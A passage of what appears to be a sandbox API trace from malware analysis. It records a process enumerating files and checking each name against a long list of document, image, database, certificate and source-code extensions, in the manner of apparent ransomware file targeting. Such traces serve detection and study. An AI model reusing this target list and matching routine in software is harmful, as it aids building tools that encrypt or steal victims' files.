lstrcmpiW (lpString1=".indd", lpString2="D.DLL") returned -1 [0076.606] lstrlenW (lpString=".ini") returned 4 [0076.607] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1 [0076.607] lstrlenW (lpString=".iqy") returned 4 [0076.607] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1 [0076.607] lstrlenW (lpString=".j2c") returned 4 [0076.607] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1 [0076.607] lstrlenW (lpString=".j2k") returned 4 [0076.607] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1 [0076.607] lstrlenW (lpString=".java") returned 5 [0076.607] lstrcmpiW (lpString1=".java", lpString2="D.DLL") returned -1 [0076.607] lstrlenW (lpString=".jp2") returned 4 [0076.607] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1 [0076.608] lstrlenW (lpString=".jpc") returned 4 [0076.608] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1 [0076.608] lstrlenW (lpString=".jpe") returned 4 [0076.608] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1 [0076.608] lstrlenW (lpString=".jpeg") returned 5 [0076.608] lstrcmpiW (lpString1=".jpeg", lpString2="D.DLL") returned -1 [0076.608] lstrlenW (lpString=".jpf") returned 4 [0076.608] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1 [0076.608] lstrlenW (lpString=".jpg") returned 4 [0076.608] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0076.608] lstrlenW (lpString=".jpx") returned 4 [0076.609] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1 [0076.609] lstrlenW (lpString=".js") returned 3 [0076.609] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1 [0076.609] lstrlenW (lpString=".jsf") returned 4 [0076.609] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1 [0076.609] lstrlenW (lpString=".json") returned 5 [0076.609] lstrcmpiW (lpString1=".json", lpString2="D.DLL") returned -1 [0076.609] lstrlenW (lpString=".jsp") returned 4 [0076.609] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1 [0076.609] lstrlenW (lpString=".kdc") returned 4 [0076.610] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1 [0076.610] lstrlenW (lpString=".kmz") returned 4 [0076.610] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1 [0076.610] lstrlenW (lpString=".kwm") returned 4 [0076.610] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1 [0076.610] lstrlenW (lpString=".lasso") returned 6 [0076.610] lstrcmpiW (lpString1=".lasso", lpString2="ID.DLL") returned -1 [0076.610] lstrlenW (lpString=".lbi") returned 4 [0076.610] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1 [0076.611] lstrlenW (lpString=".lgf") returned 4 [0076.611] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1 [0076.611] lstrlenW (lpString=".lgp") returned 4 [0076.611] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1 [0076.611] lstrlenW (lpString=".log") returned 4 [0076.611] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1 [0076.611] lstrlenW (lpString=".m1v") returned 4 [0076.611] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1 [0076.611] lstrlenW (lpString=".m4a") returned 4 [0076.611] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1 [0076.611] lstrlenW (lpString=".m4v") returned 4 [0076.611] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1 [0076.612] lstrlenW (lpString=".max") returned 4 [0076.612] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1 [0076.612] lstrlenW (lpString=".md") returned 3 [0076.612] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1 [0076.612] lstrlenW (lpString=".mda") returned 4 [0076.612] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1 [0076.612] lstrlenW (lpString=".mdb") returned 4 [0076.612] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1 [0076.612] lstrlenW (lpString=".mde") returned 4 [0076.612] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1 [0076.612] lstrlenW (lpString=".mdf") returned 4 [0076.613] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1 [0076.613] lstrlenW (lpString=".mdw") returned 4 [0076.613] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1 [0076.613] lstrlenW (lpString=".mef") returned 4 [0076.613] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1 [0076.613] lstrlenW (lpString=".mft") returned 4 [0076.613] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1 [0076.613] lstrlenW (lpString=".mfw") returned 4 [0076.613] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1 [0076.613] lstrlenW (lpString=".mht") returned 4 [0076.614] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1 [0076.614] lstrlenW (lpString=".mhtml") returned 6 [0076.614] lstrcmpiW (lpString1=".mhtml", lpString2="ID.DLL") returned -1 [0076.614] lstrlenW (lpString=".mka") returned 4 [0076.614] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1 [0076.614] lstrlenW (lpString=".mkidx") returned 6 [0076.614] lstrcmpiW (lpString1=".mkidx", lpString2="ID.DLL") returned -1 [0076.614] lstrlenW (lpString=".mkv") returned 4 [0076.614] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1 [0076.614] lstrlenW (lpString=".mos") returned 4 [0076.614] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1 [0076.615] lstrlenW (lpString=".mov") returned 4 [0076.615] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1 [0076.615] lstrlenW (lpString=".mp3") returned 4 [0076.615] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1 [0076.615] lstrlenW (lpString=".mp4") returned 4 [0076.615] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1 [0076.615] lstrlenW (lpString=".mpeg") returned 5 [0076.615] lstrcmpiW (lpString1=".mpeg", lpString2="D.DLL") returned -1 [0076.615] lstrlenW (lpString=".mpg") returned 4 [0076.615] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1 [0076.615] lstrlenW (lpString=".mpv") returned 4 [0076.616] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1 [0076.616] lstrlenW (lpString=".mrw") returned 4 [0076.616] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1 [0076.616] lstrlenW (lpString=".msg") returned 4 [0076.616] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1 [0076.616] lstrlenW (lpString=".mxl") returned 4 [0076.616] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1 [0076.616] lstrlenW (lpString=".myd") returned 4 [0076.616] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1 [0076.616] lstrlenW (lpString=".myi") returned 4 [0076.616] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1 [0076.616] lstrlenW (lpString=".nef") returned 4 [0076.616] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1 [0076.616] lstrlenW (lpString=".nrw") returned 4 [0076.617] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1 [0076.617] lstrlenW (lpString=".obj") returned 4 [0076.617] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1 [0076.617] lstrlenW (lpString=".odb") returned 4 [0076.617] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1 [0076.617] lstrlenW (lpString=".odc") returned 4 [0076.617] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1 [0076.617] lstrlenW (lpString=".odm") returned 4 [0076.617] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1 [0076.617] lstrlenW (lpString=".odp") returned 4 [0076.617] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1 [0076.617] lstrlenW (lpString=".ods") returned 4 [0076.617] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1 [0076.617] lstrlenW (lpString=".oft") returned 4 [0076.617] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1 [0076.618] lstrlenW (lpString=".one") returned 4 [0076.618] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1 [0076.618] lstrlenW (lpString=".onepkg") returned 7 [0076.618] lstrcmpiW (lpString1=".onepkg", lpString2="LID.DLL") returned -1 [0076.618] lstrlenW (lpString=".onetoc2") returned 8 [0076.618] lstrcmpiW (lpString1=".onetoc2", lpString2="SLID.DLL") returned -1 [0076.618] lstrlenW (lpString=".opt") returned 4 [0076.618] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1 [0076.618] lstrlenW (lpString=".oqy") returned 4 [0076.618] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1 [0076.618] lstrlenW (lpString=".orf") returned 4 [0076.618] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1 [0076.618] lstrlenW (lpString=".p12") returned 4 [0077.053] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1 [0077.053] lstrlenW (lpString=".p7b") returned 4 [0077.054] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1 [0077.054] lstrlenW (lpString=".p7c") returned 4 [0077.054] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1 [0077.054] lstrlenW (lpString=".pam") returned 4 [0077.054] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1 [0077.054] lstrlenW (lpString=".pbm") returned 4 [0077.054] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1 [0077.054] lstrlenW (lpString=".pct") returned 4 [0077.054] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1 [0077.054] lstrlenW (lpString=".pcx") returned 4 [0077.054] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1 [0077.054] lstrlenW (lpString=".pdd") returned 4 [0077.054] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1 [0077.054] lstrlenW (lpString=".pdf") returned 4 [0077.054] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0077.054] lstrlenW (lpString=".pdp") returned 4 [0077.054] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1 [0077.054] lstrlenW (lpString=".pef") returned 4 [0077.054] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1 [0077.054] lstrlenW (lpString=".pem") returned 4 [0077.054] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1 [0077.055] lstrlenW (lpString=".pff") returned 4 [0077.055] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1 [0077.055] lstrlenW (lpString=".pfm") returned 4 [0077.055] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1 [0077.055] lstrlenW (lpString=".pfx") returned 4 [0077.055] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1 [0077.055] lstrlenW (lpString=".pgm") returned 4 [0077.055] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1 [0077.055] lstrlenW (lpString=".php") returned 4 [0077.055] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1 [0077.055] lstrlenW (lpString=".php3") returned 5 [0077.055] lstrcmpiW (lpString1=".php3", lpString2="D.DLL") returned -1 [0077.055] lstrlenW (lpString=".php4") returned 5 [0077.055] lstrcmpiW (lpString1=".php4", lpString2="D.DLL") returned -1 [0077.055] lstrlenW (lpString=".php5") returned 5 [0077.056] lstrcmpiW (lpString1=".php5", lpString2="D.DLL") returned -1 [0077.056] lstrlenW (lpString=".phtml") returned 6 [0077.056] lstrcmpiW (lpString1=".phtml", lpString2="ID.DLL") returned -1 [0077.056] lstrlenW (lpString=".pict") returned 5 [0077.056] lstrcmpiW (lpString1=".pict", lpString2="D.DLL") returned -1 [0077.056] lstrlenW (lpString=".pl") returned 3 [0077.056] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1 [0077.056] lstrlenW (lpString=".pls") returned 4 [0077.056] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1 [0077.057] lstrlenW (lpString=".pm") returned 3 [0077.057] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1 [0077.057] lstrlenW (lpString=".png") returned 4 [0077.057] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1 [0077.057] lstrlenW (lpString=".pnm") returned 4 [0077.057] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1 [0077.057] lstrlenW (lpString=".pot") returned 4 [0077.057] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1 [0077.057] lstrlenW (lpString=".potm") returned 5 [0077.057] lstrcmpiW (lpString1=".potm", lpString2="D.DLL") returned -1 [0077.057] lstrlenW (lpString=".potx") returned 5 [0077.057] lstrcmpiW (lpString1=".potx", lpString2="D.DLL") returned -1 [0077.057] lstrlenW (lpString=".ppa") returned 4 [0077.057] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1 [0077.057] lstrlenW (lpString=".ppam") returned 5 [0077.057] lstrcmpiW (lpString1=".ppam", lpString2="D.DLL") returned -1 [0077.057] lstrlenW (lpString=".ppm") returned 4 [0077.057] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1 [0077.057] lstrlenW (lpString=".pps") returned 4 [0077.057] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1 [0077.057] lstrlenW (lpString=".ppsm") returned 5 [0077.058] lstrcmpiW (lpString1=".ppsm", lpString2="D.DLL") returned -1 [0077.058] lstrlenW (lpString=".ppt") returned 4 [0077.058] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0077.058] lstrlenW (lpString=".pptm") returned 5 [0077.058] lstrcmpiW (lpString1=".pptm", lpString2="D.DLL") returned -1 [0077.058] lstrlenW (lpString=".pptx") returned 5 [0077.058] lstrcmpiW (lpString1=".pptx", lpString2="D.DLL") returned -1 [0077.058] lstrlenW (lpString=".prn") returned 4 [0077.058] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1 [0077.058] lstrlenW (lpString=".ps") returned 3 [0077.058] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1 [0077.058] lstrlenW (lpString=".psb") returned 4 [0077.058] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1 [0077.058] lstrlenW (lpString=".psd") returned 4 [0077.058] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1 [0077.058] lstrlenW (lpString=".pst") returned 4 [0077.058] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1 [0077.058] lstrlenW (lpString=".ptx") returned 4 [0077.059] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1 [0077.059] lstrlenW (lpString=".pub") returned 4 [0077.059] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1 [0077.059] lstrlenW (lpString=".pwm") returned 4 [0077.059] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1 [0077.059] lstrlenW (lpString=".pxr") returned 4 [0077.059] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1 [0077.059] lstrlenW (lpString=".py") returned 3 [0077.059] lstrcmpiW (lpString1=".py", lpString2="DLL") returned -1 [0077.059] lstrlenW (lpString=".qt") returned 3 [0077.059] lstrcmpiW (lpString1=".qt", lpString2="DLL") returned -1 [0077.059] lstrlenW (lpString=".r3d") returned 4 [0077.059] lstrcmpiW (lpString1=".r3d", lpString2=".DLL") returned 1 [0077.059] lstrlenW (lpString=".raf") returned 4 [0077.059] lstrcmpiW (lpString1=".raf", lpString2=".DLL") returned 1 [0077.059] lstrlenW (lpString=".rar") returned 4 [0077.059] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0077.059] lstrlenW (lpString=".raw") returned 4 [0077.059] lstrcmpiW (lpString1=".raw", lpString2=".DLL") returned 1 [0078.572] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.731] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0079.731] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0079.902] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0079.902] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0079.902] lstrlenW (lpString=".1cd") returned 4 [0079.902] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0079.902] lstrlenW (lpString=".3ds") returned 4 [0079.902] lstrcmpiW (lpString1=".3ds", lpString2=".jpg") returned -1 [0079.902] lstrlenW (lpString=".3fr") returned 4 [0079.902] lstrcmpiW (lpString1=".3fr", lpString2=".jpg") returned -1 [0079.903] lstrlenW (lpString=".3g2") returned 4 [0079.903] lstrcmpiW (lpString1=".3g2", lpString2=".jpg") returned -1 [0079.903] lstrlenW (lpString=".3gp") returned 4 [0079.903] lstrcmpiW (lpString1=".3gp", lpString2=".jpg") returned -1 [0079.915] lstrlenW (lpString=".7z") returned 3 [0079.915] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0079.915] lstrlenW (lpString=".accda") returned 6 [0079.915] lstrcmpiW (lpString1=".accda", lpString2="nt.jpg") returned -1 [0079.915] lstrlenW (lpString=".accdb") returned 6 [0079.915] lstrcmpiW (lpString1=".accdb", lpString2="nt.jpg") returned -1 [0079.915] lstrlenW (lpString=".accdc") returned 6 [0079.915] lstrcmpiW (lpString1=".accdc", lpString2="nt.jpg") returned -1 [0079.915] lstrlenW (lpString=".accde") returned 6 [0079.915] lstrcmpiW (lpString1=".accde", lpString2="nt.jpg") returned -1 [0079.915] lstrlenW (lpString=".accdt") returned 6 [0079.915] lstrcmpiW (lpString1=".accdt", lpString2="nt.jpg") returned -1 [0079.915] lstrlenW (lpString=".accdw") returned 6 [0079.915] lstrcmpiW (lpString1=".accdw", lpString2="nt.jpg") returned -1 [0079.915] lstrlenW (lpString=".adb") returned 4 [0079.915] lstrcmpiW (lpString1=".adb", lpString2=".jpg") returned -1 [0079.915] lstrlenW (lpString=".adp") returned 4 [0079.915] lstrcmpiW (lpString1=".adp", lpString2=".jpg") returned -1 [0079.915] lstrlenW (lpString=".ai") returned 3 [0079.915] lstrcmpiW (lpString1=".ai", lpString2="jpg") returned -1 [0079.916] lstrlenW (lpString=".ai3") returned 4 [0079.916] lstrcmpiW (lpString1=".ai3", lpString2=".jpg") returned -1 [0079.916] lstrlenW (lpString=".ai4") returned 4 [0079.916] lstrcmpiW (lpString1=".ai4", lpString2=".jpg") returned -1 [0079.916] lstrlenW (lpString=".ai5") returned 4 [0079.916] lstrcmpiW (lpString1=".ai5", lpString2=".jpg") returned -1 [0079.916] lstrlenW (lpString=".ai6") returned 4 [0079.916] lstrcmpiW (lpString1=".ai6", lpString2=".jpg") returned -1 [0079.916] lstrlenW (lpString=".ai7") returned 4 [0079.916] lstrcmpiW (lpString1=".ai7", lpString2=".jpg") returned -1 [0079.916] lstrlenW (lpString=".ai8") returned 4 [0079.916] lstrcmpiW (lpString1=".ai8", lpString2=".jpg") returned -1 [0079.916] lstrlenW (lpString=".anim") returned 5 [0079.916] lstrcmpiW (lpString1=".anim", lpString2="t.jpg") returned -1 [0079.916] lstrlenW (lpString=".arw") returned 4 [0079.916] lstrcmpiW (lpString1=".arw", lpString2=".jpg") returned -1 [0079.916] lstrlenW (lpString=".as") returned 3 [0079.916] lstrcmpiW (lpString1=".as", lpString2="jpg") returned -1 [0079.916] lstrlenW (lpString=".asa") returned 4 [0079.917] lstrcmpiW (lpString1=".asa", lpString2=".jpg") returned -1 [0079.917] lstrlenW (lpString=".asc") returned 4 [0079.917] lstrcmpiW (lpString1=".asc", lpString2=".jpg") returned -1 [0079.917] lstrlenW (lpString=".ascx") returned 5 [0079.917] lstrcmpiW (lpString1=".ascx", lpString2="t.jpg") returned -1 [0079.917] lstrlenW (lpString=".asm") returned 4 [0079.917] lstrcmpiW (lpString1=".asm", lpString2=".jpg") returned -1 [0079.917] lstrlenW (lpString=".asmx") returned 5 [0079.917] lstrcmpiW (lpString1=".asmx", lpString2="t.jpg") returned -1 [0079.917] lstrlenW (lpString=".asp") returned 4 [0079.917] lstrcmpiW (lpString1=".asp", lpString2=".jpg") returned -1 [0079.917] lstrlenW (lpString=".aspx") returned 5 [0079.917] lstrcmpiW (lpString1=".aspx", lpString2="t.jpg") returned -1 [0079.917] lstrlenW (lpString=".asr") returned 4 [0079.917] lstrcmpiW (lpString1=".asr", lpString2=".jpg") returned -1 [0079.917] lstrlenW (lpString=".asx") returned 4 [0079.917] lstrcmpiW (lpString1=".asx", lpString2=".jpg") returned -1 [0079.917] lstrlenW (lpString=".avi") returned 4 [0079.917] lstrcmpiW (lpString1=".avi", lpString2=".jpg") returned -1 [0079.917] lstrlenW (lpString=".avs") returned 4 [0079.917] lstrcmpiW (lpString1=".avs", lpString2=".jpg") returned -1 [0079.917] lstrlenW (lpString=".backup") returned 7 [0079.918] lstrcmpiW (lpString1=".backup", lpString2="ent.jpg") returned -1 [0079.918] lstrlenW (lpString=".bak") returned 4 [0079.918] lstrcmpiW (lpString1=".bak", lpString2=".jpg") returned -1 [0079.918] lstrlenW (lpString=".bay") returned 4 [0079.918] lstrcmpiW (lpString1=".bay", lpString2=".jpg") returned -1 [0079.918] lstrlenW (lpString=".bd") returned 3 [0079.918] lstrcmpiW (lpString1=".bd", lpString2="jpg") returned -1 [0079.918] lstrlenW (lpString=".bin") returned 4 [0079.918] lstrcmpiW (lpString1=".bin", lpString2=".jpg") returned -1 [0079.918] lstrlenW (lpString=".bmp") returned 4 [0079.918] lstrcmpiW (lpString1=".bmp", lpString2=".jpg") returned -1 [0079.918] lstrlenW (lpString=".bz2") returned 4 [0079.918] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0079.918] lstrlenW (lpString=".c") returned 2 [0079.918] lstrcmpiW (lpString1=".c", lpString2="pg") returned -1 [0079.918] lstrlenW (lpString=".cdr") returned 4 [0079.918] lstrcmpiW (lpString1=".cdr", lpString2=".jpg") returned -1 [0079.918] lstrlenW (lpString=".cer") returned 4 [0079.918] lstrcmpiW (lpString1=".cer", lpString2=".jpg") returned -1 [0079.918] lstrlenW (lpString=".cf") returned 3 [0079.918] lstrcmpiW (lpString1=".cf", lpString2="jpg") returned -1 [0079.918] lstrlenW (lpString=".cfc") returned 4 [0079.919] lstrcmpiW (lpString1=".cfc", lpString2=".jpg") returned -1 [0079.919] lstrlenW (lpString=".cfm") returned 4 [0079.919] lstrcmpiW (lpString1=".cfm", lpString2=".jpg") returned -1 [0079.919] lstrlenW (lpString=".cfml") returned 5 [0079.919] lstrcmpiW (lpString1=".cfml", lpString2="t.jpg") returned -1 [0079.919] lstrlenW (lpString=".cfu") returned 4 [0079.919] lstrcmpiW (lpString1=".cfu", lpString2=".jpg") returned -1 [0079.919] lstrlenW (lpString=".chm") returned 4 [0079.919] lstrcmpiW (lpString1=".chm", lpString2=".jpg") returned -1 [0079.919] lstrlenW (lpString=".cin") returned 4 [0079.919] lstrcmpiW (lpString1=".cin", lpString2=".jpg") returned -1 [0079.919] lstrlenW (lpString=".class") returned 6 [0079.919] lstrcmpiW (lpString1=".class", lpString2="nt.jpg") returned -1 [0079.919] lstrlenW (lpString=".clx") returned 4 [0079.919] lstrcmpiW (lpString1=".clx", lpString2=".jpg") returned -1 [0079.919] lstrlenW (lpString=".config") returned 7 [0079.919] lstrcmpiW (lpString1=".config", lpString2="ent.jpg") returned -1 [0079.919] lstrlenW (lpString=".cpp") returned 4 [0079.919] lstrcmpiW (lpString1=".cpp", lpString2=".jpg") returned -1 [0079.920] lstrlenW (lpString=".cr2") returned 4 [0079.920] lstrcmpiW (lpString1=".cr2", lpString2=".jpg") returned -1 [0079.920] lstrlenW (lpString=".crt") returned 4 [0079.920] lstrcmpiW (lpString1=".crt", lpString2=".jpg") returned -1 [0079.920] lstrlenW (lpString=".crw") returned 4 [0079.920] lstrcmpiW (lpString1=".crw", lpString2=".jpg") returned -1 [0079.920] lstrlenW (lpString=".cs") returned 3 [0079.920] lstrcmpiW (lpString1=".cs", lpString2="jpg") returned -1 [0079.920] lstrlenW (lpString=".css") returned 4 [0079.920] lstrcmpiW (lpString1=".css", lpString2=".jpg") returned -1 [0079.920] lstrlenW (lpString=".csv") returned 4 [0079.920] lstrcmpiW (lpString1=".csv", lpString2=".jpg") returned -1 [0079.920] lstrlenW (lpString=".cub") returned 4 [0079.920] lstrcmpiW (lpString1=".cub", lpString2=".jpg") returned -1 [0079.920] lstrlenW (lpString=".dae") returned 4 [0079.920] lstrcmpiW (lpString1=".dae", lpString2=".jpg") returned -1 [0079.920] lstrlenW (lpString=".dat") returned 4 [0079.920] lstrcmpiW (lpString1=".dat", lpString2=".jpg") returned -1 [0079.920] lstrlenW (lpString=".db") returned 3 [0079.920] lstrcmpiW (lpString1=".db", lpString2="jpg") returned -1 [0079.920] lstrlenW (lpString=".dbf") returned 4 [0079.921] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0079.921] lstrlenW (lpString=".dbx") returned 4 [0079.921] lstrcmpiW (lpString1=".dbx", lpString2=".jpg") returned -1 [0079.921] lstrlenW (lpString=".dc3") returned 4 [0079.921] lstrcmpiW (lpString1=".dc3", lpString2=".jpg") returned -1 [0079.921] lstrlenW (lpString=".dcm") returned 4 [0079.921] lstrcmpiW (lpString1=".dcm", lpString2=".jpg") returned -1 [0079.921] lstrlenW (lpString=".dcr") returned 4 [0079.921] lstrcmpiW (lpString1=".dcr", lpString2=".jpg") returned -1 [0079.921] lstrlenW (lpString=".der") returned 4 [0079.921] lstrcmpiW (lpString1=".der", lpString2=".jpg") returned -1 [0079.921] lstrlenW (lpString=".dib") returned 4 [0079.921] lstrcmpiW (lpString1=".dib", lpString2=".jpg") returned -1 [0079.921] lstrlenW (lpString=".dic") returned 4 [0079.921] lstrcmpiW (lpString1=".dic", lpString2=".jpg") returned -1 [0079.921] lstrlenW (lpString=".dif") returned 4 [0079.921] lstrcmpiW (lpString1=".dif", lpString2=".jpg") returned -1 [0079.921] lstrlenW (lpString=".divx") returned 5 [0079.921] lstrcmpiW (lpString1=".divx", lpString2="t.jpg") returned -1 [0079.921] lstrlenW (lpString=".djvu") returned 5 [0079.922] lstrcmpiW (lpString1=".djvu", lpString2="t.jpg") returned -1 [0079.922] lstrlenW (lpString=".dng") returned 4 [0079.922] lstrcmpiW (lpString1=".dng", lpString2=".jpg") returned -1 [0079.922] lstrlenW (lpString=".doc") returned 4 [0079.922] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0079.922] lstrlenW (lpString=".docm") returned 5 [0079.922] lstrcmpiW (lpString1=".docm", lpString2="t.jpg") returned -1 [0079.922] lstrlenW (lpString=".docx") returned 5 [0079.922] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0079.922] lstrlenW (lpString=".dot") returned 4 [0079.922] lstrcmpiW (lpString1=".dot", lpString2=".jpg") returned -1 [0079.922] lstrlenW (lpString=".dotm") returned 5 [0079.922] lstrcmpiW (lpString1=".dotm", lpString2="t.jpg") returned -1 [0079.922] lstrlenW (lpString=".dotx") returned 5 [0079.922] lstrcmpiW (lpString1=".dotx", lpString2="t.jpg") returned -1 [0079.922] lstrlenW (lpString=".dpx") returned 4 [0079.922] lstrcmpiW (lpString1=".dpx", lpString2=".jpg") returned -1 [0079.922] 